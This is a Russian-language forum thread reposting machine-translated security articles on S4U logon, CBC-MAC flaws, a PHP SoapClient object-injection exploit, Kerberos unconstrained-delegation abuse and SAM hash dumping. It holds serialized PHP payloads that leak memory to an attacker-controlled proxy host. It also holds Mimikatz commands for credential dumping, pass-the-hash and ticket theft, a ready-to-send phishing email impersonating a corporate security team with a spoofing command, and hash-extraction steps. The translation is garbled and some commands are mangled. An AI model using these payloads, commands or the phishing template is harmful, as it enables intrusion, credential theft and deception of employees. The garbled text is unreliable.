• Сообщайте владельцам доменов о рисках покупки в разных доменах / TLD и сохраняйте записи прошлых инцидентов безопасности, чтобы люди могли принимать обоснованное решение при покупке своих доменов. Важным для отслеживания также является большой акцент на таких вещах, как время отклика и время для разрешения предполагаемых инцидентов с безопасностью.
• Повысить осведомленность DNSSEC и заставить DNS-ресиверы поддерживать его. Принятие для DNSSEC невероятно плохое, и если оно реализовано как используемым доменом, так и используемым резольвером, это может помешать некоторым из этих угроз (предполагая, что злоумышленник также не скомпрометировал ключи). Говоря из личного опыта, я даже не замечаю неудачи DNSSEC, потому что фактически никакая сеть (мобильная, домашняя и т. Д.), Которую я использую, фактически не применяет. Я не буду вдаваться в более длинныеаргументы вокруг DNSSEC в целом, но достаточно сказать, что это определенно будет дополнительным уровнем защиты от этих атак.

Учитывая политические осложнения, связанные с использованием ccTLD, некоторые меры по обеспечению соблюдения политики, несомненно, сложны. Хотя я считаю, что приведенный выше список улучшит безопасность, я также понимаю, что на самом деле обеспечение этих событий также сложно, особенно с таким количеством вовлеченных сторон (это всегда легче сказать, чем сделать). При этом важно взвешивать безопасность DNS против умиротворения вовлеченных сторон. Учитывая невероятно большую поверхность атаки, я удивляюсь, что компромисс между доменами / расширениями домена не является более частым событием.

ИСТОЧНИК: https://thehackerblog.com/the-journ...-hidden-risks-of-domain-extensions/index.html

 

[BabaDook]

Вход в систему как пользователь без пароля

В Windows можно войти в систему как другой пользователь домена без каких-либо учетных данных. Это известно как S4U или служба для входа в систему. Это расширение Microsoft для Kerberos, представленное в Windows Server 2003. В этой теме было несколько статей и сообщений, но я подумал, что было бы неплохо снова перейти к этой теме. Официальными названиями S4U являются:

• Сервис для пользователя к себе (S4U2self)
• S4UProxy (расширенное расширение делегирования) - для получения дополнительной информации: https://technet.microsoft.com/en-us/library/cc739587(v=ws.10).aspx

Более подробную информацию о расширении можно найти в следующем протоколе doc:

[MS-S4U] - https://msdn.microsoft.com/en-us/library/cc246071.aspx
Вход в систему S4U позволяет приложению получать токен пользователю домена только с именем пользователя (UPN). Это мощная функция, но есть некоторые предостережения, чтобы контролировать мощность входа S4U.

1. Вызывающий должен иметь SeTcbPrivilege для создания маркера уровня безопасности. Если вызывающая сторона не имеет этой привилегии, результирующий токен будет на уровне SecurityIdentification. Идентификатор уровня идентификации позволяет вам получить личность и привилегии пользователя для проверки доступа к защищенному ресурсу. Вы не можете получить доступ к защищенному ресурсу с помощью этого токена. (Если вы попытаетесь получить дескриптор защищенного объекта, выдавая себя за этот токен, API будет терпеть неудачу с неправильной ошибкой уровня олицетворения).
2. Маркер может использоваться только локально. Чтобы использовать токен олицетворения на удаленном сервере, делегирование должно быть включено для приложения и на целевом сервере. Если вы передаете токен другому процессу (например, через CreateProcessAsUser ()), даже если делегирование включено, процесс может получить доступ к защищенным ресурсам локально. Используемые учетные данные связаны с процессом, который генерирует токен S4U, поэтому, когда вы создаете новый процесс с помощью токена S4U, токен не имеет учетных данных для представления на удаленном сервере для аутентификации.

Хорошо, поскольку я представил основные моменты S4U, как вы можете программно генерировать токен S4U? Есть два способа сделать это.
1. Структура LsaLogonUser + KERB_S4U_LOGON. https://msdn.microsoft.com/en-us/library/windows/desktop/aa378128(v=vs.85).aspx
2. Более простой способ создания токена S4U - через объект WindowsIdentity путем передачи имени участника-пользователя (UPN), который находится в формате user @ domain. Помните, если вызывающий объект не имеет SeTcbPrivilege, внутренний токен, хранящийся в объекте WindowsIdentity, будет находиться на уровне идентификации, а не на уровне олицетворения. Код очень прост:
WindowsIdentity s4u = новый WindowsIdentity («user @ domain»);
Вы увидите, что этот код намного проще, чем вызов LsaLogonUser ().
Я надеюсь, что эти сообщения дают некоторое представление о понимании и использовании S4U.
Метки KERB_S4U_LOGON LogonUser LsaLogonUser S4U S4u2self S4UProxy WindowsIdentity

Источник: https://blogs.msdn.microsoft.com/winsdk/2015/08/28/logon-as-a-user-without-a-password/

 

[BabaDook]

Почему я ненавижу CBC-MAC

Если вы похожи на большинство людей, у вас нет сильного мнения о CBC-MAC . На самом деле, если вы похожи на большинство людей, у вас нет сильного мнения о каких-либо крипто примитивах.

Это здорово. Продолжайте хорошую работу.

Я не большинство людей. На прошлой неделе я размышлял о CBC-MAC, или, более конкретно, о коде, который использует его в разных контекстах, и мне нужно поделиться с вами тем, насколько я презираю этот маленький алгоритм. И прошу вас никогда не использовать его.

О да, я знаю соблазн. У вас есть хороший блок-шифр, который просто сидит вокруг - может быть, вы что-то шифруете, и вы слышали, насколько серьезна эта вещь для аутентификации всего сообщения . Возможно, вы даже подумали об использовании одного из этих причудливых аутентифицированных режимов шифрования , но обнаружили, что они слишком экзотичны и сложны.

Тогда вам приходит к выводу, что все ваши проблемы будут решены, если вы просто используете CBC-MAC. Это слишком плохо, потому что теперь ваши проблемы только начинаются.

Теперь короткое замечание: в CBC-MAC нет ничего действительнонеправильного , когда он выполняется правильно. И это не так сложно реализовать должным образом. Проблема в том, что многие люди, которые используют CBC-MAC (а не HMAC или надлежащий режим AEAD ), кажутся неспособными фактически сделать это . Они ошибаются в веселых, смущающих, глупых, сложных способах.

Но, конечно, вам нужны примеры. Хорошо, давайте немного.

1. Ваша реализация не обрабатывает сообщения переменной длины.

Быстрое напоминание. CBC-MAC очень похож на классический режим CBC для шифрования , с несколькими существенными отличиями. Во-первых, вектор инициализации (IV) является фиксированным значением, обычно равным нулю. Во-вторых, CBC-MAC выводит последний блок зашифрованного текста - это одно значение формирует MAC.


Многие немые реализации останавливаются здесь. И это приводит к большим проблемам.

Прежде всего, если ваша система разрешает сообщения переменной длины - как и следовало ожидать - есть простая атака, которая позволяет вам создавать новые сообщения. Сначала получите MAC T в сообщении M1. Теперь XOR тег T в первый блок некоторого произвольного второго сообщения M2 и получить MAC на модифицированной версии M2.

Полученный тег T 'оказывается допустимым MAC для комбинированного сообщения (M1 || M2). Это действительная подделка, и в некоторых случаях может быть действительно полезной.

Стандартное исправление для добавления длины сообщения к первому блоку сообщения перед его MACing. Но неожиданно большое количество (немых) реализаций пропускает этот дополнительный шаг. И многие реализации CBC-MAC являются глупыми реализациями.

2. В вашей реализации используется случайный вектор инициализации.

Если CBC-MAC с фиксированным IV является большим, конечно, CBC-MAC со случайным IV должен быть супер-большим. Но нет, это не так.

Использование случайной (или переменной IV) плохо по той простой причине, что проверка CBC-MAC требует, чтобы вы знали IV, и чтобы знать IV, вам, вероятно, нужно его где-то прочитать. Обычно это означает то же самое ненадежное место, где вы храните свое сообщение.

Если злоумышленник может изменить CBC-MAC IV, они могут также изменить первый блок сообщения MACed эквивалентным образом. Это работает, потому что первым шагом CBC-MAC является XOR IV с сообщением. Есть все виды глупых вариантов этой проблемы, и все они болят.

3. Вы использовали тот же ключ для MAC и шифрования.

Общее правило в криптографии заключается в том, что вы не должны использовать один и тот же ключ для двух разных криптографических примитивов - например, шифрование и подпись. Или шифрование и MAC.

Некоторые люди считают, что правила были нарушены.

Обратите внимание, что в некоторых случаях общие ключи могут быть в порядке. Комбинированные режимы, такие как CCM (сокращение от CTR + CBC-MAC), действительно используют один и тот же ключ для обеих операций. Однако эти режимы делают это очень осторожно, продуманно. Ваша реализация в садовом разнообразии не делает этого.

Один особенно уродливый образец, который я видел, - использовать (немой) CBC-MAC в открытом тексте, а затем зашифровывать этот открытый текст в режиме CTR с использованием некоторого начального счетчика ( C ). Это небезопасно по целому ряду причин, но особенно потому, что я могу полностью расшифровать ваш зашифрованный текст.

Для этого я просто прошу вас зашифровать ряд небольших файлов, соответствующих значениям счетчика C, C + 1 и т. Д. Зашифрованного текста, который я хочу атаковать. CBC-MAC каждого из этих файлов позволяет мне воссоздать кеш-поток в режиме CTR Мне нужно расшифровать исходный зашифрованный текст. Теперь у меня есть ваше сообщение.


4. Вы использовали CBC-MAC в качестве хэш-функции.

Это не проблема с CBC-MAC, но она возникает. Фактически, это произошло недавно на сайте обмена файлами Mega.

Короче говоря, криптографические хеш-функции - это публичные функции ( т. Е. Не секретный ключ), обладающие свойством сопротивления столкновению (трудно найти два сообщения с одинаковым хэшем). MAC - это ключевые функции, которые (как правило) обеспечивают неприступность сообщения - совсем другое свойство. Более того, они гарантируют это только тогда, когда ключ является секретным.

Если вы попытаетесь использовать CBC-MAC с несекретным ключом, он станет очень плохим кандидатом на что угодно. Фактически, вы можете тривиально найти полезные столкновения в выходе, что очень плохо, если вы используете его для аутентификации кода. Это то, что Мега делала с этим.

Это не относится ко всем MAC- адресам. Например, HMAC должен сохранять сопротивление столкновений базовой хеш-функции, даже если сбой MAC-ключа. Это еще одна причина, чтобы предпочесть ее для случаев, когда криптографическая экспертиза не является уверенной ставкой.

В итоге

Я повторю, что ни одна из них на самом деле не проблема с CBC-MAC, что является прекрасным алгоритмом, если он реализован и используется правильно. Проблемы выше возникают только тогда, когда люди пытаются взломать их сами, не используя стандартную конструкцию.

Если вы должны написать свой собственный код, моя рекомендация - использовать HMAC, который крайне сложно испортить. Если вы выполняете комбинированное шифрование / MAC, и у вас есть только блок-шифр, а затем просмотрите спецификацию CCM , которая является свободным от патентов режимом AEAD . Это должно решить все эти проблемы и дать вам несколько хороших тестовых векторов.

То, что вы не должны делать, - это код какой-то наполовину CBC-MAC и ожидайте, что с вами все будет в порядке. Дело в том, что вы, вероятно, этого не сделаете.

ИСТОЧНИК: https://blog.cryptographyengineering.com/2013/02/15/why-i-hate-cbc-mac/

 

[BabaDook]

Про дистрибутивы для форензики.
https://justpaste.it/1iswg

 

[BabaDook]

PHP Object Injection: getting dirty with SOAP

В последнее время я некоторое время провожу время на PHP, особенно с упором на проблемы, которые могут быть использованы в контекстах Object Injection ; более конкретно, для моих исследований я решил ориентироваться на встроенный класс SoapClient, поскольку у него уже было прошлое с точки зрения интересных результатов.

Для ребята из : я обнаружил утечку информации RCE + , пару разыменований указателей NULL, фильтрацию памяти и т. Д., Чтобы расширить свою поверхность атаки; все проблемы исправлены с использованием PHP 5.6.12/5.5.28/5.4.44.

обновление: оказалось, что существует еще один возможный RCE , зарегистрированный и исправленный в PHP 5.6.13/5.5.29/5.4.45

Извините PHP, вы не мой тип

Первый недостаток был легко распознан , состоящий в путанице типа в make_http_soap_request () , где элементы из массива данных считаются строками без проверки типа.

 if (zend_hash_find(Z_OBJPROP_P(this_ptr), "_cookies", sizeof("_cookies"), (void **)&cookies) == SUCCESS &&
    Z_TYPE_PP(cookies) == IS_ARRAY) {

 ...

 zend_hash_get_current_data(Z_ARRVAL_PP(cookies), (void **)&data);
zend_hash_get_current_key(Z_ARRVAL_PP(cookies), &key, NULL, FALSE);
 
if (Z_TYPE_PP(data) == IS_ARRAY) {
    zval** value;
 
    if (zend_hash_index_find(Z_ARRVAL_PP(data), 0, (void**)&value) == SUCCESS &&
      Z_TYPE_PP(value) == IS_STRING) {
        zval **tmp;
        if ((zend_hash_index_find(Z_ARRVAL_PP(data), 1, (void**)&tmp) == FAILURE ||
          strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp)) == 0) &&
          (zend_hash_index_find(Z_ARRVAL_PP(data), 2, (void**)&tmp) == FAILURE ||
          in_domain(phpurl->host,Z_STRVAL_PP(tmp))) &&
          (use_ssl || zend_hash_index_find(Z_ARRVAL_PP(data), 3, (void**)&tmp) == FAILURE)) {
            smart_str_appendl(&soap_headers, key, key_len-1);
            smart_str_appendc(&soap_headers, '=');
            smart_str_appendl(&soap_headers, Z_STRVAL_PP(value), Z_STRLEN_PP(value));
            smart_str_appendc(&soap_headers, ';');
        }
    }
  }

Часть кода, приведенная выше, предназначена для проверки того, соответствуют ли флаги « путь » и « домен » определенного файла cookie с теми же, которые были извлечены из URL-адреса, с запросом на мыло; в случае, если это так, cookie отправляется вместе с запросом, поэтому он добавляется в soap_headers как « name = value; «.

Путаница типа происходит каждый раз, когда tmp получает доступ через один из макросов Z_STR * _PP ; Данных массив, TMP извлекается из поступает непосредственно из _cookies области SoapClient объекта, который в сценарии Injection объекта является то , что поставляемые пользователем (для тех , кто не знаком с PHP unserialization логики, это означает , что один способен а также тип PHP-уровня). Например:

O:10:”SoapClient”:3:{s:3:”uri”;s:1:”a”;s:8:”location”;s:22:”http://localhost/a.xml”;s:8:”_cookies”;a:1:{s:12:”this-is-data”;a:3:{i:0;s:13:”random-string”;i:1;i:1337;i:2;O:8:”stdClass”:0:{}}}}

неэтеризация полезной нагрузки выше приведет к тому, что tmp будет числовым значением сначала и объектом тогда.

Чтобы лучше понять, почему такие ситуации приводят к произвольному доступу к памяти для чтения, вы должны взглянуть на некоторые основы внутреннего языка PHP (по крайней мере, на упомянутые выше макросы zval struct и Z_STR * ), но для этого сообщения вам просто нужно знать, что , когда в Z_STRVAL_ * вводится числовой типизированный zval , его значение разыменовывается как указатель на получение содержимого строки; придерживаясь предыдущего примера: доступ к памяти по адресу 1337.

Итак, читайте доступ к памяти, конец истории?

Ну, это не так просто. Если вы обратили внимание достаточно, вы, возможно, заметили, что у пропущенного содержимого памяти, похоже, нет возможности дотянуться до нападавшего: на самом деле он не добавляется к soap_headers каким-либо образом. Он появляется только при оценке следующих операторов if

strncmp(phpurl->path?phpurl->path:"/",Z_STRVAL_PP(tmp),Z_STRLEN_PP(tmp))

in_domain(phpurl->host,Z_STRVAL_PP(tmp))

где in_domain определяется как

static int in_domain(const char *host, const char *domain)
{
  if (domain[0] == '.') {
    int l1 = strlen(host);
    int l2 = strlen(domain);
    if (l1 > l2) {
        return strcmp(host+l1-l2,domain) == 0;
    } else {
      return 0;
    }
  } else {
    return strcmp(host,domain) == 0;
  }
}

В основном два сравнения строк. Хорошей новостью является то , что phpurl , предоставляющий хост , заполняется значениями, полученными из наших полей Object, так что в обоих случаях также предоставляется первый параметр сравнения. Кроме того, поскольку результат сравнений оказывает прямое влияние на выход через отправляемый файл cookie, мы можем использовать его в качестве скрытого канала для вывода содержимого пропущенной части памяти.

Подводя итог: мы контролируем значение первого параметра, адрес второго и способ получить результат сравнения строк, таким образом, мы можем:

• исправить адрес памяти и выполнить итерацию первого параметра, чтобы угадать содержимое, соответствующее одному байту за раз.
• исправить строку и повторить второй параметр, чтобы найти его адрес в памяти, если он есть.

Хотя, есть некоторые ограничения , которые мы должны рассмотреть: в числовом ZVAL в str.len поле значение ( которое является то , что Z_STRLEN_PP полагается на) всегда устанавливается равным 0, что делает strncmp () непригодным для использования (если у вас есть какой - то обходной путь , это было бы здорово, если бы ты меня пинал); мы все еще можем использовать сравнение in_domain , но если вы посмотрите на природу первых параметров ( путь против хоста) , вы заметите, что путь был бы гораздо менее ограничительным. Фактически, так будет идти поток эксплуатации:

• Специально созданный объект SoapClient становится неэтериализованным.

Payload

unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"a";s:8:"location";s:22:"http://localhost/a.xml";s:8:"_cookies

• местоположение проверяется через php_url_parse (), и соединение с ним выполняется http_connect (); Когда поток успешно открыт, запрос POST встроен в soap_headers.
• strncmp () между « a.xml » и содержимым, полученным из адреса памяти 1337, с 0 в качестве третьего аргумента.
• in_domain () с " localhost ", а контент из 1337 в качестве аргументов
• если сравнение выполнено успешно, « сравнение = истина » прикрепляется как заголовок Cookie к запросу POST.
• запрос выполняется на " http: //localhost/a.xml "

Таким образом, прежде всего, местоположение должно быть реальным достижимым хостом, или функция будет прервана с ошибкой « Не удалось подключиться к хосту »; Кроме того, нам нужно, чтобы он находился под нашим контролем, чтобы проверить наличие файла cookie, указывающего на результат сравнения, резко уменьшая пространство жутких строк.

К счастью, SoapClient поставляется с возможностью установки прокси; таким образом, http_connect () будет работать над ним, в то время как сравнение будет по-прежнему выполняться против значения местоположения .

Payload

unserialize('O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:13:"http://SECRET";s:11:"_proxy_host";s:6:"myhost";s:11:"_proxy_port";i:8080;s:8:"_cookies";a:1:{s:10:"comparison";a:3:{i:0;s:4:"true";i:1;i:1337;i:2;i;1337;}}}');

Полезная нагрузка выше будет сравнивать « SECRET » с контентом, найденным по адресу 1337, и отправить запрос на http: // myhost: 8080 .

Расширение поверхности атаки

Прежде всего, о какой поверхности атаки мы говорим? Как я уже говорил в первых строках, во время этого исследования я изучал объектные инъекции, поэтому мы в основном заинтересованы в функциональности, используемой в качестве гаджетов PHP.

Если вы измените путь кода, чтобы достичь make_http_soap_call (), вы легко закончите метод магии __call SoapClient .

От php.net:

__call () запускается при вызове недоступных методов в контексте объекта.​

Таким образом, в сценарии инъекции объектов запускать уязвимость потребует чего-то вроде

$o = unserialize($tainted);
$o->whatever();

Конечно, можно найти реальные случаи такого рода, но мы можем сделать лучше: мы хотели бы расширить уязвимость до любой инъекции объектов без каких-либо манипуляций, требуемых для нашего ввода.

Первое, что я начал искать, - это способ получить недостижимый метод, называемый объектом SoapClient в процессе unserialize. Я не нашел ни встроенного __wakeup () или __destruct () в состоянии сделать это, но я заметил , что DateInterval «s __wakeup () метод выполняется строковые преобразования на свои дни и special_amount полей, что приводит к потенциальной __toString () вызывает в случае они были поставлены как объекты. Поэтому я продолжил исследование также по встроенному __toString () s, что привело меня к тому, чтобы найти небольшую проблему в Exception 1: если ссылаться на предыдущее Исключение в стеке, он был проверен только как объект с типом zval , который, очевидно, не гарантирует, что он также является экземпляром класса Exception .

xception = getThis();
ZVAL_STRINGL(&fname, "gettraceasstring", sizeof("gettraceasstring")-1, 1);
 
  while (exception && Z_TYPE_P(exception) == IS_OBJECT) {
        ...
    fci.function_name = &fname;
    zend_call_function(&fci, NULL TSRMLS_CC);
        ...
    exception = zend_read_property(default_exception_ce, exception, "previous", sizeof("previous")-1, 0 TSRMLS_CC);
    ...
  }

Интересная часть, для нашей цели, заключается в том, что метод затем вызывается на ней через zend_call_function ; поскольку любой объект передал бы проверку выше, мы можем предоставить наш объект SoapClient , который не имеет такого метода getTraceAsString , приведет к выполнению __call вместо этого.

Итак, все вместе, вот что должно выглядеть конечной полезной нагрузкой:

O:12:”DateInterval”:1:{s:14:”special_amount”;O:9:”Exception”:1:{s:19:”[NULL-BYTE]Exception[NULL-BYTE]previous”;O:10:”SoapClient”:5:{s:3:”uri”;s:1:”a”;s:8:”location”;s:[GUESS-LEN]:”http://[GUESS]“;s:8:”_cookies”;a:1:{s:[COOKIE-NAME-LEN]:”[COOKIE-NAME]“;a:3:{i:0;s:[COOKIE-VALUE-LEN]:”[COOKIE-VALUE]“;i:1;i:[MEMORY-ADDRESS];i:2;i:[MEMORY-ADDRESS];}}s:11:”_proxy_host”;s:[ATTACKER-HOST-LEN]:”[ATTACKER-HOST]“;s:11:”_proxy_port”;i:[ATTACKER-PORT];}}}

.


ИСТОЧНИК: http://lab.truel.it/php-object-injection-the-dirty-way/

 

[BabaDook]

From Serialized to Shell :: Auditing Google Web Toolkit

https://srcincite.io/blog/2017/04/27/from-serialized-to-shell-auditing-google-web-toolkit.html

 

[BabaDook]

Получение Администратора домена с Kerberos Неограниченное делегирование
Недавний тест на проникновение был одним из редких случаев, когда невозможно было найти учетные данные администратора домена (пароль / хэш / билет) с использованием обычных методов. У меня уже был доступ Администратора к одному из серверов благодаря функции загрузки файлов на собственной панели управления журналом, работающей над WAMP (WAMP работает с привилегиями SYSTEM). Я получил доступ к нескольким серверам, используя хеши пользователя домена, который был локальным администратором на пару дополнительных серверов и еще несколько подобных вещей, но все равно не повезло.

В любом случае, оглядевшись вокруг Active Directory и связанных с Kerberos атак, настало время пересмотреть подход атаки. Вспомните первое, что приходит на ум, когда мы терпим неудачу при атаках на стороне сервера? Абсолютно! Атаки на стороне клиента. Я мог бы удалить несколько писем с вложениями и ссылками и надеяться на то, что вы нажмете на пользовательский компьютер, который приведет меня к серверу, на котором есть токен администратора домена. Клиент по собственному усмотрению хотел, чтобы я оставил все фишки в фидах во внутренней сети, и не было абсолютно никакого исходящего трафика, доступного для моей машины VPN (сборка диаграмм с draw.io )










Таким образом, мне нужно было настроить несколько прослушивателей на одном из скомпрометированных серверов, которые могут обрабатывать несколько подключаемых обратно оболочек или каким-то образом использовать существующую службу в качестве слушателя для моих фишинг-атак. Поскольку я ленив Я решил пойти со вторым вариантом, то есть с использованием существующей службы. При перечислении домена после первоначального плацдарма я увидел, что на веб-сервере включена поддержка Kerberos Unconstrained Delegation .

Как только я понял, что Kerberos Unconstrained Delegation была включена, я мог бы попытаться использовать этот сценарий, используя технику, которую Sean Metcalf ( @ PyroTek3 ) рассказал в прошлом году и опубликовал на ADSecurity.org ( https://adsecurity.org/?p=1667 ). Шон рассказывает, как использование сервера с Kerberos Unconstrained Delegation может привести к краже учетных данных DA, приводящим к компрометации Active Directory, обманом администратора домена для подключения к любой службе Kerberos на сервере.

Итак, все, что нужно было сделать, это создание фишинговых писем и их использование для подключения к серверу, на котором у меня был доступ к администратору, и ждать, пока администратор домена не попадет на электронную почту.

Вот как я это сделал (реплицируется в моей лаборатории).
1. pfptlab-build - это сервер, на котором у нас есть доступ администратора с RDP, PowerShell Remoting и т. Д.
2. pfptlab-web - это сервер, на котором мы можем выполнять команды как admin, но он не доступен напрямую.



Поиск компьютеров с неограниченной передачей
Используя встроенный модуль PowerShell Active Directory. Этот модуль доступен по умолчанию в Windows Server 2012. Из повышенной оболочки на сервере с доступом администратора (pfptlab-build) используйте следующие команды:

PS C:\> Add-WindowsFeature RSAT-AD-PowerShell
PS C:\> Import-Module ActiveDirectory
PS C:\> Get-ADComputer –Filter {(TrustedForDelegation –eq $True) –and (PrimaryGroupID –eq 515)}

Я завершил выше команды в скрипте Get-Unconstrained.ps1, найденном в категории ActiveDirectory Nishang.
Еще один способ поиска компьютеров с неограниченной делегией - использование Powerview

PS C:\> Get-NetComputer -Unconstrained

Настройка "Слушателя"
На сервере, где включено неограниченное делегирование (pfptlab-web в лаборатории), мы можем перечислить существующие билеты с помощью Invoke-Mimikatz. Имейте в виду, что у нас есть доступ администратора к серверу с помощью хэша пользователя домена, который является локальным администратором на этом сервере. Обратите внимание, что мы также можем передать билет, но время истечения срока действия билета будет играть в spoilsport здесь, так как нам нужно подождать, пока администратор домена подключится к машине.

Мы можем использовать хэш домена user webadmin, который является локальным администратором на pfptlab-web, сервером с неограниченным делегированием:

PS C:\> Invoke-Mimikatz -DumpCreds
PS C:\> Invoke-Mimikatz -Command '"sekurlsa:: pth /user:webadmin /domain:pfptlab /ntlm:[ntlm hash] /run:powershell.exe"'

Вот как выглядит вывод этих команд:





Теперь давайте перечислим билеты на pfptlab-web, сервер с Unconstrained Delegation. Поскольку у нас есть прямой доступ к машине pfptlab-build, давайте * отложим скрипт на диске * и применим ниже команды, чтобы использовать его в сеансе с состоянием на pfptlab-web без касания диска. Помните, что ниже команды должны запускаться в консоли PowerShell, открываемой путем переполнения хэша пользователя webadmin:

PS C:\> $sess = New-PSSession -ComputerName pfptlab-web
PS C:\> Invoke-Command -FilePath C:\Users\buildadmin\Desktop\Invoke-Mimikatz.ps1 -Session $sess
PS C:\> Invoke-Command -ScriptBlock {cd $envEMP} -Session $sess
PS C:\> Invoke-Command -ScriptBlock {Invoke-Mimikatz -Command '"sekurlsa:ickets /export"'} -Session $sess

Альтернативный способ с уловом!
Быстро заметим здесь. Если мы попытаемся использовать ниже команду (выполнить Invoke-Mimikatz на pfptlab-web, не отбрасывая скрипт на диск на pftplab-build), произойдет ошибка

PS C:\> Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ArgumentList '-Command "sekurlsa:ickets"' -ComputerName pfptlab-web

Потому что мы не можем передавать именованные параметры в параметре -ArgumentList. В вышеуказанном случае невозможно передать «-Command» «sekurlsa :: tickets» «». Мы можем передавать только позиционные параметры. Чтобы преодолеть это, я изменил положение параметров. Я назначил позицию 0 параметру «Command» Invoke-Mimikatz, и вышеприведенная команда успешно работала. Теперь поймать! Если я добавлю «/ export» в параметр ArgumentList в приведенной выше команде, он завершится неудачно, так как PowerShell передает его в Invoke-Mimikatz в качестве второго параметра. Если кто-то может сделать это успешно, пожалуйста, поделитесь!

Итак, если предположить, что мы уже зарегистрировали учетные записи администратора домена, а один из них - «Администратор», чтобы узнать, подключен ли админ домена, мы можем использовать следующий уродливый метод:

PS C:\> $output = Invoke-Command -ScriptBlock {(ls $envemp\*.kirbi).name} -Session $sess
PS C:\> $output | sls Administrator

Может быть, кто-то будет автоматизировать это гораздо более чистым способом. Если билет Администратора домена, Администратор, сохраняется Mimikatz, вторая команда выше должна его перечислить. Но, ни один доменный билет администратора на pfptlab-web, пока.
Подготовка электронной почты
К счастью, внутренний почтовый сервер клиента разрешил электронную почту, поэтому отправка фишинговых сообщений не была проблемой. Мне удалось получить доступ к идентификаторам электронной почты с комбинацией имен пользователей AD и нескольких файлов Excel, которые я получил. После обмена сообщениями с клиентом он удалил электронные письма некоторых ребят из руководства. Один из нескольких используемых шаблонов электронной почты:

Hey,

I am from the Corporate Security Team, we look after security here. We have detected multiple anomalies in the network which could be traced back to your system. It could be a virus or a trojan attack which blocks you from accessing company resources. You are required to immediately perform all of the below steps:
1. Click on Start Menu -> Type cmd.exe
2. In the Window which opens up. type "reg query HKLM\SOFTWARE\Microsoft\"
3. Copy the contents of above command in a text file.
4. Go to \\[name of server with unconstrained delegation]\C$ and copy the file there.
5. If you are unable to access the share, just save the text file with the name Sotware_log.txt on your Desktop and we will pick it up.

Cheers,

Corporate Security Team

Хотя я не являюсь экспертом в разработке фишинговых писем, я хотел бы, чтобы вы отметили некоторые моменты в приведенном выше электронном письме:
- Нет запугивания, кроме сбалансированного тона власти.
- Использование жаргона, но не слишком неясных слов, как если бы я действительно пытался объяснить сложные вещи простым языком для пользователя.
- Требование срочных действий целевого пользователя.
- Команда, которая отображает много результатов.
- Предоставление альтернативного способа пользователю, если они не могут получить доступ к доле, что делает меня более полезным.
Хотя я попытался выбрать «почтовую культуру» клиента из писем, которые я обменял, конечно, это письмо можно было бы написать намного лучше.

Используя приведенную ниже команду, электронная почта была отправлена пользователям.

PS C:\> Send-MailMessage -From "Corporate Security<corporate.security@client.com>" -To $recipients -Subject "Security Anomaly: Action Required" -Body (Get-Content C:\Users\buildadmin\Desktop\email.txt | Out-String) -SmtpServer [IP of internal mail server]

Так выглядела электронная почта, как в почтовом ящике одной из целей.


выполнение
После отправки электронной почты я начал проверять билеты для администратора домена, неоднократно запуская Invoke-Mimikatz, и вскоре появилось несколько администраторов домена, которые выполнили все, что им было предложено: D

Теперь, на мой взгляд, лучший способ использовать билеты - скопировать их на сервер pfptlab-build, поскольку у нас есть прямая связь с ним. Используя приведенную ниже команду, мы можем скопировать все токены из pfptlab-web в машину pfptlab-build.

PS C:\> Copy-Item \\pfptlab-web\C$\Users\WEBADM~1.PFP\AppData\Local\Temp\*.kirbi C:\tickets

Теперь мы можем использовать один из билетов «Администраторы», скопированный локально, для повышения привилегий администратора домена:

PS C:\> Invoke-Mimikatz -Command '"kerberos::ptt [Ticket]

Потрясающие! Наконец, доступ администратора домена. Пусть начнется победный танец: D: D

Вот видео, чтобы продемонстрировать атаку:
Получив доступ к DA, я собрал некоторые данные, связанные с бизнесом, чтобы продемонстрировать фактическое влияние на управление клиентами.

Оставьте отзыв и комментарии.

Изучите тестирование проникновения надежной и живой сети Windows со мной в PowerShell для тестировщиков проникновения. Обучение поадресу:

CanSecWest, Ванкувер (4 дня - 12-15 марта 2016 года)

- https://cansecwest.com/dojos/2016/powershell.html
Брукон, Гент, Бельгия (3 дня - 20-22 апреля 2016 года) -http://2016.brucon.org/index.php/Spring_Training_2016_-_PowerShell_for_Penetration_Testers
HITB, Амстердам (2 дня - 24-25 мая 2016 года) -
http://conference.hitb.org/hitbsecc...raining-3-powershell-for-penetration-testers/

ИСТОЧНИК:http://www.labofapenetrationtester....n-with-kerberos-unconstrained-delegation.html
п.с там не смайлы, просто : P отображается как смайл

 

[BabaDook]

Эффективное получение хеша паролей в Windows. Часть 1


Менеджер учетных записей безопасности (Security Accounts Manager - SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7.

Автор:Bernardo Damele A. G.
Слегка измененное определение из Википедии:
Менеджер учетных записей безопасности(Security Accounts Manager - SAM) – это файл реестра в Windows, начиная с Windows NT вплоть до самых последних версий Windows 7. В SAM хранятся хешированные пароли пользователей (в формате LM-хеш или NTLM-хеш). Благодаря тому, что хеш-функция однонаправленная, пароли находятся в относительной безопасности.
Вообще, получение хеша паролей пользователей операционной системы, как правило, один из первых шагов, ведущий к компрометации системы в дальнейшем. Доступ к хешированным паролям дает “зеленый свет” различным атакам, к примеру: использование хеша для SMB-аутентификации в других системах с тем же паролем, анализ парольной политики и распознавание структуры пароля, взлом пароля и.т.п.
Способов получения хешированных паролей из SAM множество, и выбор конкретного способа будет зависеть от того, каким именно доступом к компьютеру жертвы вы обладаете.
Физический доступ
При получении физического доступа к системе, например, когда у вас в руках оказался чужой ноутбук, или когда социальная инженерия закончилась успешно, лучше всего слить хеши паролей следующим образом: во время перезагрузки войти в меню BIOS, изменить приоритет загрузки, так чтобы вначале запускался оптический или USB-привод, сохранить изменения и загрузиться с вашего любимого live CD c дистрибутивом GNU/Linux или с флешки. Есть две широко известные утилиты для дампа хешированных паролей из SAM: bkhive и samdump2:

• bkhive - получает syskey bootkey из куста системы
• samdump2 – получает хеши паролей в Windows 2k/NT/XP/Vista

Вышеназванные утилиты, как правило, поставляются со многими дистрибутивами GNU/Linux. Перед получением дампа хешей убедитесь, что вы располагаете этими утилитами.
Использование:

# bkhive
bkhive 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it

bkhive systemhive keyfile

# samdump2
samdump2 1.1.1 by Objectif Securite
http://www.objectif-securite.ch
original author: ncuomo@studenti.unina.it
samdump2 samhive keyfile

Пример получения хешей SAMиз Windows-раздела /dev/sda1:

# mkdir -p /mnt/sda1
# mount /dev/sda1 /mnt/sda1
